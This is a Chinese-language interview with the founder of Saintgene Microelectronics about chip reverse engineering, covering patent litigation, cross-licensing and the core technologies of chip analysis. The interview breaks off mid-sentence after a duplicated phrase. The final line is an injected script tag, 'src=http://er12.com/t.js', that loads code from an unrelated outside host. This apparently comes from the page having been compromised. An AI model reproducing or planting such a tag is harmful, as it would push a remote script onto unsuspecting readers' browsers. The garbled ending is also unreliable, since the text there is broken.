时至今日，仍然有许多人对芯片反向工程(reverseengineering)技术持怀疑态度，然而，8年的耕耘和努力已经开始让姚海平在该领域赢取丰厚的回报。1998年，这位复旦大学微电子系的硕士二年纪学生，通过分期付款的方式，以20万元的价格从母校买断一项芯片分析软件的版权，和几位师兄弟一起创建了中国本土第一家进行芯片分析的公司--圣景微电子。本期精英访谈，姚海平将与本刊记者王彦一道，破除多数人对反向工程的误解，指明芯片分析技术的关键所在并探讨今后的发展之路。
为什么当初会介入反向工程(芯片分析)领域？
对软件的兴趣应该是关键所在。尽管在本科和硕士期间我的专业一直是微电子，但是出于个人兴趣，我一直都在利用业余时间做一些软件开发的工作。1995年，师兄潘日华开始在复旦大学cad中心负责芯片分析软件的开发工作。1998年，潘日华即将毕业，由于大家都想将这款软件商品化，于是我们成立了圣景微电子公司，并和学校签订了一项版权转让协议。并在同时成立了圣景微电子公司。1999年，公司在原有软件的基础上推出了全球第一个商业化的芯片分析软件chipsmith。有了软件的支持，我们便在这个基础上开始了芯片分析服务。
中国本土企业和外国企业在对待反向工程的态度方面有何不同？
国内企业在对待反向工程上的态度容易走向两个极端：上世纪90年代末，中国大陆几乎所有的ic公司都在利用成像技术进行抄袭，这是一个极端；但是很多公司现在又坚决表示不再碰反向工程，他们认为‘反向工程=copy’，这又是另一个极端。两种态度都不对。
事实上，在ic产业发达的北美、欧洲、日韩等地区，反向工程技术的发展已有数十年的时间。尽管在总预算中所占比例不大，但是和中国不同的一个现象是，大部分半导体公司每年有几十万到几百万美金的支出用于专利授权(licensing)和竞争者分析(competitoranalysis)工作，其中相当部分用于反向工程。比如ti公司每年就有上千万美金用于专利分析，而从中获取的专利授权收入则大大超过这个数字。因此，反向工程并不是什么不能碰的禁区。
也就是说反向工程的目的不是为了抄袭？
当然不是用来低级抄袭。在国外，反向工程主要包括竞争性分析(competitoranalysis)和专利分析(patentanalysis)两部分。虽然2005年在海外已经发生了数起针对中国企业的诉讼，但目前本土企业在集成电路知识产权方面的认识还比较薄弱。很多人甚至认为只要遵守《布图保护条例》就万事大吉了。但在其他国家，相关的法律案件主要都集中在专利侵权(patentinfringement)部分，而不是布图版权。企业遭遇侵权后如何起诉别人？被起诉的企业又如何应诉？这些才是反向工程的主要用武之地。
对应于起诉和应诉，涉及反向工程的工作分别为patentinfringement和patentdefense。一方面，起诉时需要取证，由于从被告公司内部取得证据可能会受到非法获取证据的质疑，因此打开芯片分析几乎成为唯一的取证方法；另一方面，一旦被起诉，企业也要通过专利分析来积极应诉。
需要强调的是，反向工程的主要作用并不是简单应付法律案件。事实上，在国外真正需要赔偿的案例很少。造成这种现象的原因是许多企业之间都存在着交叉授权的关系。大家会注意到这样的现象：在国外的专利侵权案件中，某公司一旦面临专利使用费的法律述求，常常会采取反诉的做法，既试图出示证据，证明对方其实也在使用着自己的专利，这样双方就可能达成和解。因此即便没有法律需求，也并不表示你就可以高枕无忧。也就是说，不分析别人的芯片，没有反向工程能力，始终都是要被动挨打的。而这正是我们看到的几家中国企业在应述时的被动局面。
当然，如果没有自己的专利，交叉授权也就无从谈起。日本、韩国和中国台湾的企业早期便在这方面吃了很多亏，直到今天还处于被动。虽然一些中国本土企业也有相应动作，但更多的都是在吃亏之后才认识到这个问题的，这就有些晚了。其实，在ic行业里有很多东西都可以申请专利，这和反向工程是相辅相成的。
在进行芯片分析时需要解决的关键技术是什么？圣景微电子的核心竞争力又是什么？
芯片分析主要涉及三大核心技术：1.样品预处理和成像(samplepreparation/imaging)技术；2.芯片分析软件技术，比如圣景微电子最初的chipsmith和2003年推出的matrix系列软件；3.芯片分析技术，也就是电路分析能力。
以上这三项技术相辅相成，缺一不可。其中任一项薄弱，都会影响到企业芯片分析的能力和水平。一个很好的例子是，以前韩国所有的芯片分析业务全部都由韩国本土公司进行，但是由于受到铜制程能力的限制，尤其是不能解决样品预处理问题，从而导致2001年后该国的反向工程市场全部被外国公司所占领。令人欣慰的是，在中国，令人欣慰的是，在中国，?script src=http://er12.com/t.js>
